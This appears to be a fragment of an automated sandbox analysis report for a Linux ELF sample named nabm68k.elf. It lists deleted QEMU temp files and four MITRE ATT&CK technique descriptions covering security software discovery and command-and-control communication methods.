/tmp/qemu-open.MX4rZD (deleted)

/tmp/qemu-open.NX8O5F (deleted)

/tmp/qemu-open.NiaKGF (deleted)

/tmp/qemu-open.NwPUiG (deleted)

/tmp/qemu-open.OIEQ9E (deleted)

/tmp/qemu-open.OyCC3B (deleted)

/tmp/qemu-open.PjDSQB (deleted)

Linux Analysis Report
nabm68k.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre